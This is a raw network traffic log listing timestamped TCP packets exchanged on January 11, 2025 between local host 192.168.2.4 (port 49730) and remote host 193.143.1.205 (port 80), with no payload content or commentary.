Jan 11, 2025 03:22:53.015033960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.015077114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.015141010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.015206099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.015239000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.015253067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.015274048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.015326023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.015464067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.015499115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.015547991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.018897057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.035737991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.035793066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.035829067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.035861015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.035934925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.035985947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.045943975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.065737009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.065783024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.065838099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.065840960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.065879107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.065912008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.065928936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.065963984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.065998077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.066010952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.066036940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.066067934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.066083908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.068205118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.068257093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.068270922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.068295956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.068344116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.102142096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102175951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102191925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102207899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102226019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102341890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102358103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102436066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.102472067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.102472067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.102478027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102494955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102509975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102524042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102528095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.102541924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102559090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.102598906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.102750063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102802992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102838993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102859020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.102874041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.102926970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.135164976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135201931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135338068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135389090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135421991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135426998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.135456085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135473967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.135509968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135512114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.135544062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135593891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.135595083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135628939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135663986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135677099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.135696888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135737896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135745049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.135773897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135807991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135827065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.135938883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135972977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.135989904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.136008024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136054993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.136059046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136092901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136126995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136145115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.136162043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136213064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.136373997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136406898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136440039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136455059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.136475086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136508942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136531115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.136542082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136578083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136594057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.136612892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136647940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136662960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.136909008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136940002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.136962891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.136976957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137025118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.137063026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137096882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137130022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137146950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.137167931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137216091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.137418985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137453079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137487888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137504101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.137522936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137557030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137568951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.137592077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137626886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137648106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.137903929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137937069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.137958050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.137972116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138005972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138020039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.138041019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138075113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138093948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.138108969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138144970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138159037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.138179064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138230085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.138246059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138283968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138339996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.138458014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138492107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138526917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138540983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.138593912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138642073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.138659954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138695002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138740063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.138756037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.139024019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.139056921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.139072895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.139091015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.139126062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.139137030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.139159918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.139193058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.139209032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.139228106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.139261007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.139271975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.139297962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.139343977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.139384031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.140660048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.140716076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.140724897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.140759945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.140805006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.140862942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.140916109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.140948057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.140966892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.140984058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141019106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141041040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.141103983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141155005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.141159058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141195059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141232967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141242981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.141335964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141367912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141391993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.141421080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141450882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141469955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.141488075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141524076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141539097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.141552925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.141602993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.144908905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.158263922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.158282042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.158294916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.158358097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.158401012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.158412933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.158423901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.158437014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.158449888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.158483982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.182813883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.194749117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.194771051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.194798946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.194813967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.194834948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.194842100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.194855928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.194930077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.194930077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.195059061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195075035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195111990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.195147991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195163012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195174932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195195913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195199013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.195209026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195220947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195230007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.195234060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195272923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.195307016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.195530891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195544004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195561886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195574999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195586920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195590019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.195600033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195612907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.195636988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.195666075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.196885109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.227598906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.227667093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.227703094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.227718115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.227772951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.227790117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.227802038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.227812052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.227854013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.227961063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.227972984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.227982998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228013039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.228039980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228049994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.228055000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228070021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228101969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.228303909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228315115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228403091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.228423119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228444099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228454113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228461027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228481054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.228526115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.228724003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228735924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228777885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.228898048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228910923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228920937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228931904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228944063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228954077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228955984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.228966951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228979111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.228991032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229012012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.229015112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229049921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.229298115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.229614973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229628086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229639053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229650974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229662895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229671955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.229676962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229690075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229702950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229717970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229718924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.229733944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229748964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229756117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.229763031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229775906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.229787111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.229813099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.229840040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.230422020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230433941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230446100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230458021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230472088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230479956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.230484009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230498075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230509996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230523109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230526924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.230535030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230549097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230561018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230566025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.230573893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230586052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.230592012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.230618954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.230644941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.231336117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231348991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231359005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231373072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231386900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231393099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.231400967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231412888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231426954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231443882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231447935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.231458902 CET	80	49730	193.143.1.205	192.168.2.4
